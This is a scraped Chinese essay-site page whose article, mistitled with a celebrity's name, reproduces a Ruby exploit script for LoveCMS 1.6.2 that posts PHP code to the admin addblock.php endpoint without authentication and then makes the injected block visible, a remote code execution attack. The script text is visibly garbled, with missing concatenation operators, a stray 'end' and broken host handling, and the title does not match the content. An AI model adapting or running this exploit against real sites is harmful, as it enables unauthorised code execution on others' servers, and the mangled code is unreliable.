首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 范文大全 > 正文

    LoveU2陈伟霆 [LoveCMS,1.6.2,Final,Remote,Code,Execution,Exploit]

    时间：2020-02-18来源：山茶花美文网 本文已影响 人 山茶花美文网手机站

    #!/usr/bin/ruby

    #

    ## Exploit by PoMdaPiMp!

    ## ---------------------

    ## pomdapimp(at)gmail(dotcom)

    ##

    ## LoveCMS Exploit Series

    ## Episode 1: adding a side block

    ##

    ## Description: add some php into a block container

    ## on the side of the site. phpinfo() is called.

    ##

    ## Usage: ./LoveCMS_1_blocks.rb <host>

    ## Ex: ./LoveCMS_2_themes.rb http://site.com/lovecms/

    ##

    ## Tested on: lovecms_1.6.2_final (MacOS X, Xampp)

    # require "net/http"

    require "uri" @host = "http://127.0.0.1/lovecms_1.6.2_final/lovecms/" @host = ARGV[0] if ARGV[0]

    @host = @host[-1, 1].to_s != "/" ? "/" : "" if @host

    # --

    puts " LoveCMS Exploit Series. #1: Adding side blocks."

    puts

    puts " : Attacking host: " @host # --

    # Insert a new block

    res = Net::HTTP.post_form(URI.parse(@host "system/admin/addblock.php"),

    {"submit"=>"1", "title"=>"H4Ck", "content" => "phpinfo();", "type" => "php"})

    puts " :: Block inserted." # --

    # Build post variable for next step

    post_vars = {"submit" => 1}

    (1..50).each do |id|

    post_vars["position" id.to_s] = 1

    post_vars["height" id.to_s] = 1

    post_vars["visible" id.to_s] = 1

    end

    # Make the block visible

    res = Net::HTTP.post_form(URI.parse("http://127.0.0.1/lovecms_1.6.2_final/lovecms/system/admin/blocks.php"), post_vars )

    puts " :: Blocks displayed." # --

    puts

    puts " - Visit " @host

    end

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文LoveU2陈伟霆 [LoveCMS,1.6.2,Final,Remote,Code,Execution,Exploit] 由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.